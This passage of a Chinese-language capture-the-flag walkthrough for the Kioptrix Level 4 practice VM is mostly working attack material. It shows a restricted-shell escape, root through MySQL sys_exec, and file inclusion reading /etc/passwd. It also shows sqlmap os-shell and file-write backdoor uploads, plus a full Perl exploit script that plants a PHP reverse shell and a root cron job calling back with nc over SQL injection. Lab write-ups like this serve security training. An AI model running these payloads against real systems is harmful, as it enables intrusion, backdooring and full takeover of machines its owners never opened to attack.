16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
root@kali:~# ssh john@192.168.84.139
john@192.168.84.139's password:
Welcome to LigGoat Security Systems - We are Watching
== Welcome LigGoat Employee ==
LigGoat Shell is in place so you don't screw up
Type '?' or 'help' to get the list of allowed commands
john:~$ echo os.system('/bin/bash')
john@Kioptrix4:~$ ls
john@Kioptrix4:~$ mysql -h localhost -u root -p
Enter password:
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 6760
Server version: 5.0.51a-3ubuntu5.4 (Ubuntu)

Type 'help;' or '\h' for help. Type '\c' to clear the buffer.

mysql> select sys_exec('usermod -a -G admin john');
+--------------------------------------+
| sys_exec('usermod -a -G admin john') |
+--------------------------------------+
| NULL |
+--------------------------------------+
1 row in set (0.00 sec)

mysql> exit;
Bye
john@Kioptrix4:~$ sudo su
root@Kioptrix4:/home/john# MyNameIsJohn
bash: MyNameIsJohn: command not found
root@Kioptrix4:/home/john# whoami
root
root@Kioptrix4:/home/john# id
uid=0(root) gid=0(root) groups=0(root)
root@Kioptrix4:/home/john#
root@Kioptrix4:~# cat congrats.txt
Congratulations!
You've got root.

There is more then one way to get root on this system. Try and find them.
I've only tested two (2) methods, but it doesn't mean there aren't more.
As always there's an easy way, and a not so easy way to pop this box.
Look for other methods to get root privileges other than running an exploit.

It took a while to make this. For one it's not as easy as it may look, and
also work and family life are my priorities. Hobbies are low on my list.
Really hope you enjoyed this one.

If you haven't already, check out the other VMs available on:
www.kioptrix.com

Thanks for playing,
loneferret

使用sys_exec,可以运行将john添加到admin组的usermod,然后运行sudo su以获得root权限的shell,至此渗透靶机的目标已经完成。

其它方法

由于受sock_sendpage()NULL指针取消引用攻击,还能使用内核提权脚本进行提权,具体方法自行google,常规操作就不在此赘述.

  • 文件包含
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
(请求包)

GET /member.php?username=/etc/etc/passwd%00 HTTP/1.1

Host: 192.168.84.139

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Connection: close

Cookie: PHPSESSID=b5a332dd49e1d5192ffb8915fa3e7f84

Upgrade-Insecure-Requests: 1

(响应包)

HTTP/1.1 302 Found

Date: Tue, 10 Dec 2019 16:39:07 GMT

Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch

X-Powered-By: PHP/5.2.4-2ubuntu5.6

Expires: Thu, 19 Nov 1981 08:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

Pragma: no-cache

location: index.php

Content-Length: 1146

Connection: close

Content-Type: text/html



root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
dhcp:x:101:102::/nonexistent:/bin/false
syslog:x:102:103::/home/syslog:/bin/false
klog:x:103:104::/home/klog:/bin/false
mysql:x:104:108:MySQL Server,,,:/var/lib/mysql:/bin/false
sshd:x:105:65534::/var/run/sshd:/usr/sbin/nologin
loneferret:x:1000:1000:loneferret,,,:/home/loneferret:/bin/bash
john:x:1001:1001:,,,:/home/john:/bin/kshell
robert:x:1002:1002:,,,:/home/robert:/bin/kshell
  • sqlmap的os-shell功能
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
(判断是否具有dba权限)
root@kali:~# sqlmap -r sqlmap.txt --is-dba
___
__H__
___ ___[)]_____ ___ ___ {1.3.11#stable}
|_ -| . [,] | .'| . |
|___|_ [']_|_|_|__,| _|
|_|V... |_| http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 04:12:43 /2019-12-10/

[04:12:43] [INFO] parsing HTTP request from 'sqlmap.txt'
[04:12:43] [INFO] resuming back-end DBMS 'mysql'
[04:12:43] [INFO] testing connection to the target URL
[04:12:43] [INFO] heuristics detected web page charset 'ascii'
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: mypassword (POST)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
Payload: myusername=admin&mypassword=-9812' OR 1343=1343#&Submit=Login

Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: myusername=admin&mypassword=123456' AND (SELECT 6154 FROM (SELECT(SLEEP(5)))jArz)-- bHnL&Submit=Login
---
[04:12:43] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.12
[04:12:43] [INFO] testing if current user is DBA
[04:12:43] [INFO] fetching current user
[04:12:43] [INFO] resumed: root@localhost
current user is DBA: True
[04:12:43] [INFO] fetched data logged to text files under '/root/.sqlmap/output/192.168.84.139'

[*] ending @ 04:12:43 /2019-12-10/

(如果有,如下所示getshell)
root@kali:~# sqlmap -r sqlmap.txt --os-shell
___
__H__
___ ___[.]_____ ___ ___ {1.3.11#stable}
|_ -| . [.] | .'| . |
|___|_ ["]_|_|_|__,| _|
|_|V... |_| http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 04:10:50 /2019-12-10/

[04:10:50] [INFO] parsing HTTP request from 'sqlmap.txt'
[04:10:50] [INFO] resuming back-end DBMS 'mysql'
[04:10:50] [INFO] testing connection to the target URL
[04:10:50] [INFO] heuristics detected web page charset 'ascii'
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: mypassword (POST)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
Payload: myusername=admin&mypassword=-9812' OR 1343=1343#&Submit=Login

Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: myusername=admin&mypassword=123456' AND (SELECT 6154 FROM (SELECT(SLEEP(5)))jArz)-- bHnL&Submit=Login
---
[04:10:50] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.12
[04:10:50] [INFO] going to use a web backdoor for command prompt
[04:10:50] [INFO] fingerprinting the back-end DBMS operating system
[04:10:50] [INFO] the back-end DBMS operating system is Linux
which web application language does the web server support?
[1] ASP
[2] ASPX
[3] JSP
[4] PHP (default)
[04:10:51] [INFO] retrieved the web server document root: '/var/www'
[04:10:51] [INFO] retrieved web server absolute paths: '/var/www/checklogin.php'
[04:10:51] [INFO] trying to upload the file stager on '/var/www/' via LIMIT 'LINES TERMINATED BY' method
[04:10:51] [INFO] the file stager has been successfully uploaded on '/var/www/' - http://192.168.84.139:80/tmpuhuus.php
[04:10:51] [WARNING] unable to upload the file through the web file stager to '/var/www/'
[04:10:51] [WARNING] backdoor has not been successfully uploaded through the file stager possibly because the user running the web server process has not write privileges over the folder where the user running the DBMS process was able to upload the file stager or because the DBMS and web server sit on different servers
[04:10:53] [INFO] the backdoor has been successfully uploaded on '/var/www/' - http://192.168.84.139:80/tmpbhqem.php
[04:10:53] [INFO] calling OS shell. To quit type 'x' or 'q' and press ENTER
os-shell> ls
do you want to retrieve the command standard output? [Y/n/a] command standard output:
---
checklogin.php
database.sql
images
index.php
john
login_success.php
logout.php
member.php
robert
tmpbbmjx.php
tmpbdorc.php
tmpbhqem.php
tmpbstyp.php
tmpbtzfy.php
tmpubjrn.php
tmpuepxr.php
tmpuhuus.php
tmpuijdt.php
tmpureio.php
tmpuyhae.php
---
os-shell>

sqlmap自带的文件上传payload

如果传不了,直接用下列命令写马

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
root@kali:~# sqlmap -r sqlmap.txt --file-write /root/shells/php/bullfuck.php --file-dest /var/www/bullshit.php        ___
__H__
___ ___[(]_____ ___ ___ {1.3.11#stable}
|_ -| . ['] | .'| . |
|___|_ [,]_|_|_|__,| _|
|_|V... |_| http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 04:42:12 /2019-12-10/

[04:42:12] [INFO] parsing HTTP request from 'sqlmap.txt'
[04:42:12] [INFO] resuming back-end DBMS 'mysql'
[04:42:12] [INFO] testing connection to the target URL
[04:42:12] [INFO] heuristics detected web page charset 'ascii'
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: mypassword (POST)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
Payload: myusername=admin&mypassword=-9812' OR 1343=1343#&Submit=Login

Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: myusername=admin&mypassword=123456' AND (SELECT 6154 FROM (SELECT(SLEEP(5)))jArz)-- bHnL&Submit=Login
---
[04:42:12] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.12
[04:42:12] [INFO] fingerprinting the back-end DBMS operating system
[04:42:12] [INFO] the back-end DBMS operating system is Linux
[04:42:12] [WARNING] expect junk characters inside the file as a leftover from original query
[04:42:14] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrievalDBMS file system ('/var/www/bullshit.php')? [Y/n]
[04:42:14] [INFO] retrieved:
sqlmap got a 302 redirect to 'http://192.168.84.139:80/login_success.php?username=admin'. Do you want to follow? [Y/n] n
0
[04:42:17] [WARNING] it looks like the file has not been written (usually occurs if the DBMS process user has no write privileges in the destination path)
[04:42:17] [INFO] fetched data logged to text files under '/root/.sqlmap/output/192.168.84.139'

[*] ending @ 04:42:17 /2019-12-10/

(成功写入)

do you want to retrieve the command standard output? [Y/n/a] command standard output:
---
checklogin.php
database.sql
images
index.php
john
login_success.php
logout.php
member.php
robert
tmpbokko.php
tmpuvljz.php
---
os-shell> ls
do you want to retrieve the command standard output? [Y/n/a] command standard output:
---
bullshit.php
checklogin.php
database.sql
images
index.php
john
login_success.php
logout.php
member.php
robert
tmpbokko.php
tmpuvljz.php
---
os-shell>

下面再附上希腊某位大佬的傻瓜式通关脚本;)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
use LWP::UserAgent;

# ----------------------------------------------------------------------
# Coded by mr.pr0n - https://ghostinthelab.wordpress.com - (@_pr0n_)
# ----------------------------------------------------------------------

print "------------------------------------\n";
print " Kioptrix Level 4 - Run2Shell Script\n";
print "------------------------------------\n";

print "\nEnter the IP address of the Kioptrix box (e.g.: http://192.168.178.21)";
print "\n> ";
$target=<STDIN>;
chomp($target);
$target = "http://".$target if ($target !~ /^http:/);

print "\nEnter the IP address for the reverse connection (e.g.: 192.168.178.27)";
print "\n> ";
$ip=<STDIN>;
chomp($ip);

print "\nEnter the port to connect back on (e.g.: 4444)";
print "\n> ";
$port=<STDIN>;
chomp($port);

menu:;
print "\n[+] Main Menu:\n";
print " 1. Limited Shell\n";
print " 2. Root Shell.\n";
print " 3. Exit.\n" ;

print "> ";
$option=<STDIN>;
if ($option!=1 && $option!=2 && $option!=3)
{
print "Oups, wrong option.\nPlease, try again.\n";
goto menu;
}

if ($option==1)
{&limit}
if ($option==2)
{&root}
if ($option==3)
{&quit}

sub limit
{

$payload =
"<?php ".
"system('/bin/bash -i > /dev/tcp/$ip/$port 0<&1 2>&1');".
"?>";

#Encode the payload to Hex.
$payload =~ s/(.)/sprintf("%x",ord($1))/eg;
$payload ="0x"."$payload";

$filename = "t3hpWn.php";
$dir = "/var/www/";

$nc= "nc -lvp $port";
print "\n[+] Wait for reverse connection on port $port...\n";
system("xterm -e $nc &");

print "[+] Uploading the backdoor to server... \n";
$junk="''";

$username = "admin";
$password = "' OR 1=1 UNION SELECT $payload,$junk,$junk INTO OUTFILE '".$dir.$filename."' #";

$ua = LWP::UserAgent->new or die;
$req = HTTP::Request->new(POST => $target."/checklogin.php");
$req->content_type('application/x-www-form-urlencoded');
$req->content("myusername=".$username."&mypassword=".$password."&Submit=Login");
$res = $ua->request($req);

sleep(10);
$int = LWP::UserAgent->new() or die;
$check=$int->get($target."/".$filename);

if ($check->content =~ m/was not found/g)
{
print "[-] Failed to upload the backdoor!\n\n";
}
goto menu;
}

sub root
{
# --------------------------------------------------------------
# Thanks to g0tmi1k for this local privilege escalation trick.
# --------------------------------------------------------------

$payload ="* * * * * root /bin/nc.traditional $ip $port -e /bin/sh ";

#Encode the payload to Hex.
$payload =~ s/(.)/sprintf("%x",ord($1))/eg;
$payload ="0x"."$payload";

$filename = "g0tr00t";
$dir = "/etc/cron.d/";

$nc= "nc -lvp $port";
print "\n[+] Wait for reverse connection on port $port...\n";
system("xterm -e $nc &");

print "[+] Uploading the backdoor to server... \n";
$junk="''";

$username = "admin";
$password = "' AND 1=1 union select $payload,$junk,$junk INTO OUTFILE '".$dir.$filename."' #";

$ua = LWP::UserAgent->new or die;
$req = HTTP::Request->new(POST => $target."/checklogin.php");
$req->content_type('application/x-www-form-urlencoded');
$req->content("myusername=".$username."&mypassword=".$password."&Submit=Login");
$res = $ua->request($req);

sleep(60);
print "[+] Check the xterm window for the root shell... \n";
goto menu;
}

sub quit
{
exit(1);
}

The end,to be continue…